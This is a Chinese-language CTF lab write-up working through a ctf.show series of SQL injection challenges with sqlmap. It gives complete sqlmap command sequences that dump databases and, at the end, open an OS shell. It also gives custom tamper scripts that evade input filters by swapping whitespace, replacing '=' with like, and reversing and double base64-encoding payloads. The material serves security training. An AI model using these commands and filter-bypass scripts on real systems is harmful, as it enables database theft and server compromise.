目录
系统练习salmap使用
正常抓包试一下?
报错原因 不使用sqlmap是没有灵魂的(json解码 浏览器方式也行)
题目提示 指定user-agent 我们修改user-agent为sqlmap
成功 但是这个提示说指定referer 我没搞懂什么意思 已经成功了? 可能是如果需要对referer进行判断的时候 我们需要对referer进行修改 最后发现判断注入点的时候 不需要指定referer 但是进行注入的时候 必须指定referer为ctf.show 这个ctf.show字符串如果抓包是找不到提示的 必须在原浏览器进行一步一步测试?
sqlmap注入
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" --dbs python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump
提示 就是将get方式改为post方式 --data就是请求体的数据
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" --dbs python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump
提示要用
--method
改变请求方式,这里使用PUT
请求,但是要记得加上设置Content-Type
头,否则会变成表单提交:切记要加上index.php 否则不好使
python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" --dbs python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump
这个cookie卡了很久 页面刷新会更新cookie 所以页面不要动
我用的是这里的cookie 不对 这里的sessid可以使用
正确的cookie在这里
并且两个cookie都需要传参?
python .\sqlmap.py -u "http://20815594-bf49-434d-81ff-27084740e293.challenge.ctf.show/api/index.php" --data "id=1" --method=PUT --header="Content-Type:text/plain" --cookie="PHPSESSID=gsalkdjo8546dqc4dhoqt1bc7u; ctfshow=161f311aae7f4a6afff53434bdcb956d" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump
先看一下cookie
抓包 估计这就是鉴权的意思 先访问一个指定页面传入cookie 然后才进行传值
--safe-url 设置在测试目标地址前访问的安全链接 --safe-freq 设置几次访问一次鉴权页面
python sqlmap.py -u "http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/index.php" --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch
这道题 sql语句没有闭合 但是sqlmap会自动处理的 不影响我们
这里我测试 不使用cookie也可以 但是必须要有访问鉴权的页面的操作 我查看鉴权页面也需要传入cookie 但是脚本不需要cookie也可以?
我是这么理解的 上一题中 api页面会检查cookie 所以必须传入cookie 鉴权页面不需要cookie 但是必须要访问鉴权页面 要有这个过程 这道题api页面不需要cookie?
正常脚本
python .\sqlmap.py -u http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" -D ctfshow_web -T ctfshow_flaxc --dump
加上多余的操作 就是闭合sql语句
python .\sqlmap.py -u http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" -D ctfshow_web -T ctfshow_flaxc --dump
对传入的参数开始过滤了,使用tamper应对。
这一题过滤了空格,可以使用注释进行绕过,使用sqlmap自带的space2comment.py进行绕过:cookie无关紧要上一关我说了原因
python .\sqlmap.py -u http://c6dce674-f235-4dd2-ac96-0edffefe4bf9.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://c6dce674-f235-4dd2-ac96-0edffefe4bf9.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca --dump
对小写的
select
和空格进行了绕过,不过sqlmap中的select都是大写的,所以和上一题一样即可:python .\sqlmap.py -u http://4277d88c-cc2d-4da1-b38f-698c23e43993.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://4277d88c-cc2d-4da1-b38f-698c23e43993.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca --dump
为了学习编写sqlmap的插件 把SELECT 替换成seselectlect
脚本
#!/usr/bin/env python import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def tamper(payload, **kwargs): if payload: payload = payload.replace("SELECT", "select")#就修改这一行了 return payload
exp
python .\sqlmap.py -u http://4277d88c-cc2d-4da1-b38f-698c23e43993.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://4277d88c-cc2d-4da1-b38f-698c23e43993.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" --tamper space2comment.py,bigsmalldouble.py -D ctfshow_web -T ctfshow_flaxca --dump -v 6
单引号也被过滤了 以及*号 还有=号 不过select 并且sql语句没有了()
过滤了空格,*号和等号,使用
%09
绕过空格,使用like
绕过等号,基于此改一下tamper即可不用之前的脚本了? 之前是把空格替换成/**/ 但是*被禁用了
sqlmap自定义 脚本
注意 在python中 尽量不要使用%2A了 就是用char(0x2A)? %在python中有别的意思
#!/usr/bin/env python import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def tamper(payload, **kwargs): if payload: payload = payload.replace("*", chr(0x2A)) payload = payload.replace(" ",chr(0x0a)) payload = payload.replace("=",chr(0x0a)+"like"+chr(0x0a)) return payload
exp
python .\sqlmap.py -u http://f8d58395-ce78-4788-a2ba-a38f30b6876d.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://f8d58395-ce78-4788-a2ba-a38f30b6876d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=d16k1cskngbt95g7tv53q70tc4" --tamper 209.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch
对查询的id位置进行解密
可算明白了 就是对传入的id 进行解密处理 从而让sql语句无法执行成功??
我们按照他的方式 反着构造一个加密脚本 这样传进去后 服务器对id进行一系列操作就变成了 我们想到的id的值了
加密脚本
过滤了 在web210的基础上过滤了空格 将空格替换成%0a
脚本
#!/usr/bin/env python import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY import base64 __priority__ = PRIORITY.HIGHEST def tamper(payload, **kwargs): retVal = payload if payload: retVal = retVal.replace(" ", chr(0x0a)) retVal = retVal.encode()#加密 retVal = retVal[::-1]#反转 retVal = base64.b64encode(retVal) retVal = retVal[::-1] retVal = base64.b64encode(retVal) retVal = retVal.decode() return retVal
exp
python .\sqlmap.py -u http://d2e3106c-45b9-46c8-b332-22ec0c0daeca.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://d2e3106c-45b9-46c8-b332-22ec0c0daeca.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=d16k1cskngbt95g7tv53q70tc4" --tamper 211.py -D ctfshow_web -T ctfshow_flav -T ctfshow_flavi -C ctfshow_flagxx --dump
得出flag
*号也被过滤了 上一个脚本 按理说是无影响的 但是就怕payload使用到了*号 还是把*号替换一下
脚本
#!/usr/bin/env python import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY import base64 __priority__ = PRIORITY.HIGHEST def tamper(payload, **kwargs): retVal = payload if payload: retVal = retVal.replace(" ", chr(0x0a)) #这里要注意 本来我就想把*替换成chr(0x2A) 但是不可以 以后的做法就是 使用-v -6查看详细信息 观察 哪些语句使用了*号 把整个语句换成比别的 例如下面的 retVal = retVal.replace("COUNT(*)", COUNT(id)) retVal = retVal.encode()#加密 retVal = retVal[::-1]#反转 retVal = base64.b64encode(retVal) retVal = retVal[::-1] retVal = base64.b64encode(retVal) retVal = retVal.decode() return retVal
exp
python .\sqlmap.py -u http://48aa715c-dd6b-407c-86f1-d4c40f0d8562.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://48aa715c-dd6b-407c-86f1-d4c40f0d8562.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=d16k1cskngbt95g7tv53q70tc4" --tamper 212.py -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump
一键getshell
使用刚刚脚本就行
他给出的payload 不需要替换* 0x0a 不可以就换成0x09 0a是换行 -- -中间的空格如果换成换行那就失去注释的意义
#!/usr/bin/env python import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY import base64 __priority__ = PRIORITY.HIGHEST def tamper(payload, **kwargs): retVal = payload if payload: retVal = retVal.replace(" ", chr(0x09)) retVal = retVal.encode()#加密 retVal = retVal[::-1]#反转 retVal = base64.b64encode(retVal) retVal = retVal[::-1] retVal = base64.b64encode(retVal) retVal = retVal.decode() return retVal
python .\sqlmap.py -u http://56482765-334e-4108-8645-1a1fb904e475.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://56482765-334e-4108-8645-1a1fb904e475.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=d16k1cskngbt95g7tv53q70tc4" --tamper 213.py -D ctfshow_web --os-shell